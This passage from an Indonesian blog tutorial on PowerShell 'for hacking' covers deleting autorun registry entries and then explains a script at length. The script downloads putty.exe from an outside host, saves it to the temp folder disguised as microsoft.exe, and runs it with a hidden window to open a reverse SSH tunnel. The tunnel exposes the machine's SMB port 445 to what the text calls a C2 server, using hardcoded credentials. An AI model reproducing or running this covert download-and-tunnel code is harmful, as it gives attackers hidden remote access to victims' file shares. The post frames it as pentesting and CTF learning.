<p>Dan kita bisa menghapus salah satu value dari registry tersebut menggunakan Remove-ItemProperty, disini kita akan mencoba untuk menghapus discord agar tidak dijalankan saat computer dinyalakan</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1331" height="337" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-20-125051.png" alt="" class="wp-image-306"/></figure>



<p>Pada gambar ini, terlihat kita menghapus value dengan nama discord jadi sekarang discord tidak lagi menjadi autorun program</p>



<p>Powershell sendiri sebenarnya suatu utility yang sangat powerfull entah dari segi sysadmin, configuration, automation maupun pentesting karena kita bisa melakukan apapun pada machine hanya dengan input suatu command dan juga kita bisa membuat script powershell pada satu file dengan extension .ps1, jadi kita akan mencoba coding untuk menjalankan executable jadi siapkan text editor disini kita akan menggunakan vscode</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1043" height="502" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/poweshell.png" alt="" class="wp-image-307"/></figure>



<p>oke kita bedah scriptnya, jadi pada script powershell ini digunakan untuk menjalankan suatu executable yaitu putty, putty adalah suatu aplikasi yang dipake untuk keperluan remote jaringan dan kita bisa menggunakan putty untuk komunikasi pada protocol ssh, ftp, smb dan protocol yang digunakan untuk remote login lainnya </p>



<pre class="wp-block-code"><code>$processName = "microsoft"

$tempDir = &#91;System.IO.Path]::GetTempPath()
$exePath = Join-Path -Path $tempDir -ChildPath "microsoft.exe"

$downloadUrl = "http://&#91;redacted]/putty.exe"

</code></pre>



<p>Sama seperti programming pada umumnya, kita bisa mendeklarasikan variable pada powershell disini kita inisialisasi variable seperti ProcessName, tempDir, exePath dan downloadUrl</p>



<pre class="wp-block-code"><code>function IsProcessRunning {
    param (
        &#91;string]$name
    )
    $process = Get-Process | Where-Object { $_.ProcessName -eq $name }
    return $process -ne $null
}

if (-not (IsProcessRunning $processName)) {

    if (-not (Test-Path $exePath)) {
        Write-Host "$exePath Downloading"
        Invoke-WebRequest -Uri $downloadUrl -OutFile $exePath
        Write-Host "Success"
    }
    

    $args = @("-N", "-l", "guest", "-pw", "admin12345", "-R", "1337:localhost:445", "&#91;redacted_host]", "-hostkey", "SHA256:xbI5/Mcj2KrXg3ykreniRYhZUs9IQGb/secret")
    Start-Process -FilePath $exePath -ArgumentList $args -WindowStyle Hidden
    Write-Host "$processName not running, $exePath"
} else {
    Write-Host "$processName running."
}</code></pre>



<p>Pada fungsi IsProcessRunning berguna untuk melakukan filter process dengan 1 argument yang diambil dari variable processName dengan nama microsoft dan selanjutnya ada if statement </p>



<p><strong>if (-not (IsProcessRunning $processName))</strong></p>



<p>Artinya kita identifikasi apakah process microsoft itu running dan jika belum running maka dilakukan komparasi kedua apakah ada file pada $exePath yang dimana variable $exePath merupakan temporary directory dan diikuti dengan nama file yaitu microsoft.exe jika tidak ada maka akan dilakukan download pada url yang mengambil pada variable $downloadUrl dan jika ada maka lanjut pada line berikutnya</p>



<p>Disini ada inisialisasi array pada variable $args yang merupakan argument pada cmdlet dari Start-Process dan diikut dengan argument <strong>-WindowStyle Hidden</strong> yang berarti process akan dilakukan pada background, jadi script ini berfungsi untuk melakukan SSH tunneling dimana pada host local melakukan port forwarding dari 445(smb) ke server c2 dengan port 1337 sehingga login smb pada local computer bisa dilakukan remote pada c2 server dengan port 1337.</p>



<p><strong>Penutup</strong></p>



<p>mungkin itu saja penjelasan fundamental mengenai powershell scripting, yang dimana memang powershell ini sangat usefull terlebih lagi di sisi cybersecurity saat melakukan pentesting/CTF pada windows machine dan semoga artikel ini bermanfaat dan bisa dijadikan refrensi untuk kedepannya.</p>



<p><em>&#8220;Orang bijak belajar ketika mereka bisa. Orang bodoh belajar ketika mereka dipaksa.&#8221;</em> <strong>-Arthur</strong></p>



<p>Refrensi: </p>



<p><a href="https://learn.microsoft.com/en-us/powershell/scripting/learn/ps101/04-pipelines?view=powershell-7.4">https://learn.microsoft.com/en-us/powershell/scripting/learn/ps101/04-pipelines?view=powershell-7.4</a></p>



<p><a href="https://learn.microsoft.com/en-us/powershell/scripting/overview?view=powershell-7.4">https://learn.microsoft.com/en-us/powershell/scripting/overview?view=powershell-7.4</a></p>



<p><a href="https://www.techtarget.com/whatis/definition/cmdlet">https://www.techtarget.com/whatis/definition/cmdlet</a></p>



<p><a href="https://juggernaut-sec.com/autorun-startup-registry-keys">https://juggernaut-sec.com/autorun-startup-registry-keys</a></p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/10/20/powershell-for-hacking-dasar-command-pada-powershell/">Powershell for hacking, dasar command pada powershell</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.bhineka-tech.org/2024/10/20/powershell-for-hacking-dasar-command-pada-powershell/feed/</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
			</item>
	</channel>
</rss>
